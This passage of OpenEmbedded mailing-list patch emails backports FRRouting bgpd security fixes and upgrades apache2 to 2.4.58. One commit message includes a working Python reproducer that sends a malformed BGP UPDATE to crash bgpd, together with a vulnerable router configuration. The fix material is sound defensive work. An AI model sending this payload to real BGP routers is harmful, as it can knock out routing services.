"treat-as-withdraw" MUST be used. + */ +diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h +index fc347e7a1b4b..d30155e6dba0 100644 +--- a/bgpd/bgp_attr.h ++++ b/bgpd/bgp_attr.h +@@ -364,6 +364,7 @@ enum bgp_attr_parse_ret { + /* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR + */ + BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3, ++ BGP_ATTR_PARSE_MISSING_MANDATORY = -4, + }; + + struct bpacket_attr_vec_arr; +diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c +index a7514a26aa64..5dc35157ebf6 100644 +--- a/bgpd/bgp_packet.c ++++ b/bgpd/bgp_packet.c +@@ -2359,7 +2359,12 @@ static int bgp_update_receive(struct peer_connection *connection, + /* Network Layer Reachability Information. */ + update_len = end - stream_pnt(s); + +- if (update_len && attribute_len) { ++ /* If we received MP_UNREACH_NLRI attribute, but also NLRIs, then ++ * NLRIs should be handled as a new data. Though, if we received ++ * NLRIs without mandatory attributes, they should be ignored. ++ */ ++ if (update_len && attribute_len && ++ attr_parse_ret != BGP_ATTR_PARSE_MISSING_MANDATORY) { + /* Set NLRI portion to structure. */ + nlris[NLRI_UPDATE].afi = AFI_IP; + nlris[NLRI_UPDATE].safi = SAFI_UNICAST; +-- +2.42.1 + diff --git a/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch b/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch new file mode 100644 index 0000000000..b06ba94a34 --- /dev/null +++ b/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch @@ -0,0 +1,112 @@ +From 6814f2e0138a6ea5e1f83bdd9085d9a77999900b Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Fri, 27 Oct 2023 11:56:45 +0300 +Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of + malformed attrs + +Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be +processed as a normal UPDATE without mandatory attributes, that could lead +to harmful behavior. In this case, a crash for route-maps with the configuration +such as: + +``` +router bgp 65001 + no bgp ebgp-requires-policy + neighbor 127.0.0.1 remote-as external + neighbor 127.0.0.1 passive + neighbor 127.0.0.1 ebgp-multihop + neighbor 127.0.0.1 disable-connected-check + neighbor 127.0.0.1 update-source 127.0.0.2 + neighbor 127.0.0.1 timers 3 90 + neighbor 127.0.0.1 timers connect 1 + ! + address-family ipv4 unicast + neighbor 127.0.0.1 addpath-tx-all-paths + neighbor 127.0.0.1 default-originate + neighbor 127.0.0.1 route-map RM_IN in + exit-address-family +exit +! +route-map RM_IN permit 10 + set as-path prepend 200 +exit +``` + +Send a malformed optional transitive attribute: + +``` +import socket +import time + +OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" +b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" +b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" +b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" +b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" +b"\x80\x00\x00\x00") + +KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") + +UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b") + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 179)) +s.send(OPEN) +data = s.recv(1024) +s.send(KEEPALIVE) +data = s.recv(1024) +s.send(UPDATE) +data = s.recv(1024) +time.sleep(100) +s.close() +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/6814f2e0138a6ea5e1f83bdd9085d9a77999900b] +CVE: CVE-2023-47235 +Signed-off-by: Jonas Gorski +--- + bgpd/bgp_attr.c | 15 ++++++++++++--- + 1 file changed, 12 insertions(+), 3 deletions(-) + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index cf2dbe65b805..1473dc772502 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3391,10 +3391,13 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr, + uint8_t type = 0; + + /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an +- * empty UPDATE. */ ++ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it, ++ * we will pass it to be processed as a normal UPDATE without mandatory ++ * attributes, that could lead to harmful behavior. ++ */ + if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && + !length) +- return BGP_ATTR_PARSE_PROCEED; ++ return BGP_ATTR_PARSE_WITHDRAW; + + /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required + to carry any other path attributes.", though if MP_REACH_NLRI or NLRI +@@ -3889,7 +3892,13 @@ done: + aspath_unintern(&as4_path); + + transit = bgp_attr_get_transit(attr); +- if (ret != BGP_ATTR_PARSE_ERROR) { ++ /* If we received an UPDATE with mandatory attributes, then ++ * the unrecognized transitive optional attribute of that ++ * path MUST be passed. Otherwise, it's an error, and from ++ * security perspective it might be very harmful if we continue ++ * here with the unrecognized attributes. ++ */ ++ if (ret == BGP_ATTR_PARSE_PROCEED) { + /* Finally intern unknown attribute. */ + if (transit) + bgp_attr_set_transit(attr, transit_intern(transit)); +-- +2.42.1 + diff --git a/meta-networking/recipes-protocols/frr/frr_9.0.1.bb b/meta-networking/recipes-protocols/frr/frr_9.0.1.bb index bddc08aebb..c447df0512 100644 --- a/meta-networking/recipes-protocols/frr/frr_9.0.1.bb +++ b/meta-networking/recipes-protocols/frr/frr_9.0.1.bb @@ -9,9 +9,15 @@ LICENSE = "GPL-2.0-only & LGPL-2.1-only" LIC_FILES_CHKSUM = "file://doc/licenses/GPL-2.0;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ file://doc/licenses/LGPL-2.1;md5=4fbd65380cdd255951079008b364516c" +PR = "r1" + SRC_URI = "git://github.com/FRRouting/frr.git;protocol=https;branch=stable/9.0 \ file://frr.pam \ file://0001-tools-make-quiet-actually-suppress-output.patch \ + file://CVE-2023-46752.patch \ + file://CVE-2023-46753.patch \ + file://CVE-2023-47235.patch \ + file://CVE-2023-47234.patch \ " SRCREV = "31ed3dd753d62b5d8916998bc32814007e91364b" From patchwork Fri Dec 29 19:02:30 2023 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: akuster808 X-Patchwork-Id: 37094 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id 29FD2C47073 for ; Fri, 29 Dec 2023 19:03:00 +0000 (UTC) Received: from mail-yw1-f180.google.com (mail-yw1-f180.google.com [209.85.128.180]) by mx.groups.io with SMTP id smtpd.web11.155475.1703876571612958938 for ; Fri, 29 Dec 2023 11:02:51 -0800 Authentication-Results: mx.groups.io; dkim=pass header.i=@gmail.com header.s=20230601 header.b=GF9u16aI; spf=pass (domain: gmail.com, ip: 209.85.128.180, mailfrom: akuster808@gmail.com) Received: by mail-yw1-f180.google.com with SMTP id 00721157ae682-5e3338663b2so49466357b3.2 for ; Fri, 29 Dec 2023 11:02:51 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20230601; t=1703876570; x=1704481370; darn=lists.openembedded.org; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:from:to:cc:subject:date :message-id:reply-to; bh=nraFOswcVvo0ICNR0SkI/f/Li8RibE9w13fC51lUdkQ=; b=GF9u16aI0It0BdsRn6amUu0EoKXGurgfa0+qrB+7jvijqXUUHBQSPKrchf5KH415pB CX/L8NIvK+DcomRKwyO1a+07Cf9senCoHnp9KAZlByyftglfNRqNsJXp0LUJTHem+80Q 1X62Q17mengrSDOVCJcnKl7qYrw5LsHkzIpXTbVfKkbmkqa7UZm/hfoJ2Eu6o8ATZaKS nhEPTDg9i6D+3eVYIB948FWj1P4P9pM/kX9wyLmy6V93TF6ND8DQ469XeXDCNnoG3uDT D/7BqmtlN4blkavzY3peJFA3AEY2V4V0iteHFsHdpvsNW1PRinIB+oQVu8qttFz+kDVc CCqw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20230601; t=1703876570; x=1704481370; h=content-transfer-encoding:mime-version:references:in-reply-to :message-id:date:subject:cc:to:from:x-gm-message-state:from:to:cc :subject:date:message-id:reply-to; bh=nraFOswcVvo0ICNR0SkI/f/Li8RibE9w13fC51lUdkQ=; b=h5gEkBX2OMDswY2kWLrq+77y3FfVi12RCQ0/NhV1AWnJumwZXpJ+pDNaiqova2BzO8 U5CJTBBSxlEvf9NvFkAM8T0wL/jg717y49ugiW/Usg+n9VbrNwcDW1MAVdfSIuaAOIzl mfx705ehZgEgMpOera0nDilptpiz+555xtHFj75dZZ50wUnWvb1TtfHpewH4kYReS6qT eJ5g0Eqz5HY/MofnfS66pgwbyQmjAzNBvhIHm1TNYGmcRojCZVlGBScTaZTwRU5mcXjN 3SJ6kMJWXYprt3a8r4Yjp/kEpz8P1J7VET+2Sw8HzbVludCVXIwdmFtyr6R50PMUG1im Hm6Q== X-Gm-Message-State: AOJu0YzlbxxFhBpgeLQKrZvenushr9e0luVCj6ClvxFuk1fXRwPm/lEU vRRntvjnx2T/aPtXSASUaEiCfZ6hyBZpdQ== X-Google-Smtp-Source: AGHT+IEWaN/51qSYIcir7dinMtWJ9DutM/zs/9jxMSnHwjYdUEMxFaRhC9vTT28V747rNxiF46MUkg== X-Received: by 2002:a81:88c2:0:b0:5d7:1941:aa8 with SMTP id y185-20020a8188c2000000b005d719410aa8mr8432122ywf.67.1703876570630; Fri, 29 Dec 2023 11:02:50 -0800 (PST) Received: from keaua.caveonetworks.com ([2600:1700:9190:ba10:2080:c728:4a66:97cc]) by smtp.gmail.com with ESMTPSA id d13-20020a81ab4d000000b005e71fbbc661sm8570683ywk.143.2023.12.29.11.02.49 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Fri, 29 Dec 2023 11:02:49 -0800 (PST) From: Armin Kuster To: openembedded-devel@lists.openembedded.org Cc: Dylan Turner , Khem Raj Subject: [meta-oe][nanbield][PATCH 17/17] apache2: v2.4.57 to v2.4.58 to fix CVE-2023-43622 Date: Fri, 29 Dec 2023 14:02:30 -0500 Message-Id: <20231229190230.135480-18-akuster808@gmail.com> X-Mailer: git-send-email 2.34.1 In-Reply-To: <20231229190230.135480-1-akuster808@gmail.com> References: <20231229190230.135480-1-akuster808@gmail.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from li982-79.members.linode.com [45.33.32.79] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Fri, 29 Dec 2023 19:03:00 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-devel/message/107899 From: Dylan Turner Note that patch 0011-modules... is no longer needed as it's included in the upgrade as well. CVE: CVE-2023-43622 Signed-off-by: Dylan Turner Signed-off-by: Khem Raj (cherry picked from commit 9f0b5053410d5958e089351b93199efd3473d3de) Signed-off-by: Armin Kuster --- ...config9.m4-Add-server-directory-to-i.patch | 31 ------------------- .../{apache2_2.4.57.bb => apache2_2.4.58.bb} | 3 +- 2 files changed, 1 insertion(+), 33 deletions(-) delete mode 100644 meta-webserver/recipes-httpd/apache2/apache2/0011-modules-mappers-config9.m4-Add-server-directory-to-i.patch rename meta-webserver/recipes-httpd/apache2/{apache2_2.4.57.bb => apache2_2.4.58.bb} (98%) diff --git a/meta-webserver/recipes-httpd/apache2/apache2/0011-modules-mappers-config9.m4-Add-server-directory-to-i.patch b/meta-webserver/recipes-httpd/apache2/apache2/0011-modules-mappers-config9.m4-Add-server-directory-to-i.patch deleted file mode 100644 index 9accbf18a1..0000000000 --- a/meta-webserver/recipes-httpd/apache2/apache2/0011-modules-mappers-config9.m4-Add-server-directory-to-i.patch +++ /dev/null @@ -1,31 +0,0 @@ -From 5c9257fa34335ff83f7c01581cf953111072a457 Mon Sep 17 00:00:00 2001 -From: Valeria Petrov -Date: Tue, 18 Apr 2023 15:38:53 +0200 -Subject: [PATCH] * modules/mappers/config9.m4: Add 'server' directory to - include path if mod_rewrite is enabled. - -Upstream-Status: Backport [https://svn.apache.org/viewvc?view=revision&revision=1909241] - ---- - modules/mappers/config9.m4 | 5 +++++ - 1 file changed, 5 insertions(+) - -diff --git a/modules/mappers/config9.m4 b/modules/mappers/config9.m4 -index 55a97ab993..7120b729b7 100644 ---- a/modules/mappers/config9.m4 -+++ b/modules/mappers/config9.m4 -@@ -14,6 +14,11 @@ APACHE_MODULE(userdir, mapping of requests to user-specific directories, , , mos - APACHE_MODULE(alias, mapping of requests to different filesystem parts, , , yes) - APACHE_MODULE(rewrite, rule based URL manipulation, , , most) - -+if test "x$enable_rewrite" != "xno"; then -+ # mod_rewrite needs test_char.h -+ APR_ADDTO(INCLUDES, [-I\$(top_builddir)/server]) -+fi -+ - APR_ADDTO(INCLUDES, [-I\$(top_srcdir)/$modpath_current]) - - APACHE_MODPATH_FINISH --- -2.25.1 - diff --git a/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb b/meta-webserver/recipes-httpd/apache2/apache2_2.4.58.bb similarity index 98% rename from meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb rename to meta-webserver/recipes-httpd/apache2/apache2_2.4.58.bb index bbc1c6c48a..e4f7e1ceb8 100644 --- a/meta-webserver/recipes-httpd/apache2/apache2_2.4.57.bb +++ b/meta-webserver/recipes-httpd/apache2/apache2_2.4.58.bb @@ -16,7 +16,6 @@ SRC_URI = "${APACHE_MIRROR}/httpd/httpd-${PV}.tar.bz2 \ file://0008-Fix-perl-install-directory-to-usr-bin.patch \ file://0009-support-apxs.in-force-destdir-to-be-empty-string.patch \ file://0001-make_exports.awk-not-expose-the-path.patch \ - file://0011-modules-mappers-config9.m4-Add-server-directory-to-i.patch \ " SRC_URI:append:class-target = " \ @@ -28,7 +27,7 @@ SRC_URI:append:class-target = " \ " LIC_FILES_CHKSUM = "file://LICENSE;md5=bddeddfac80b2c9a882241d008bb41c3" -SRC_URI[sha256sum] = "dbccb84aee95e095edfbb81e5eb926ccd24e6ada55dcd83caecb262e5cf94d2a" +SRC_URI[sha256sum] = "fa16d72a078210a54c47dd5bef2f8b9b8a01d94909a51453956b3ec6442ea4c5" S = "${WORKDIR}/httpd-${PV}"